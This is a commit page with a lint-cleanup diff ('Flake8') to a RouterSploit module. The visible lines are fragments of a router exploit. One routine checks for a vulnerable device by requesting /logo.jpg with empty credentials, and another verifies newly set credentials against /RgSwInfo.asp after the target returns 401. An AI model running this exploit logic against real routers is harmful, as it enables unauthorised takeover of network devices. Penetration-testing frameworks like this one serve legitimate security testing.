Commit 2a523a6d by John Mora

Flake8

parent 5858251b
import base64
from routersploit import ( from routersploit import (
exploits, exploits,
print_success, print_success,
...@@ -52,7 +51,7 @@ class Exploit(exploits.Exploit): ...@@ -52,7 +51,7 @@ class Exploit(exploits.Exploit):
if response is None: if response is None:
print_error("Target did not answer request.") print_error("Target did not answer request.")
elif response.status_code == 401: elif response.status_code == 401:
#Server obeys request but then sends unauthorized response. Here we send a GET request with the new creds. # Server obeys request but then sends unauthorized response. Here we send a GET request with the new creds.
infotab_url = sanitize_url("{}:{}/RgSwInfo.asp".format(self.target, self.port)) infotab_url = sanitize_url("{}:{}/RgSwInfo.asp".format(self.target, self.port))
check_response = http_request(method="GET", url=infotab_url, auth=(self.nuser, self.npass)) check_response = http_request(method="GET", url=infotab_url, auth=(self.nuser, self.npass))
...@@ -70,9 +69,8 @@ class Exploit(exploits.Exploit): ...@@ -70,9 +69,8 @@ class Exploit(exploits.Exploit):
@mute @mute
def check(self): def check(self):
url = sanitize_url("{}:{}/logo.jpg".format(self.target, self.port)) url = sanitize_url("{}:{}/logo.jpg".format(self.target, self.port))
user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
response = http_request(method="GET", url=url, auth=("", "")) response = http_request(method="GET", url=url, auth=("", ""))
#print response.text.encode('utf-8') # print response.text.encode('utf-8')
if response is not None and self.vulnresp in response.text.encode('utf-8'): if response is not None and self.vulnresp in response.text.encode('utf-8'):
return True return True
else: else:
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment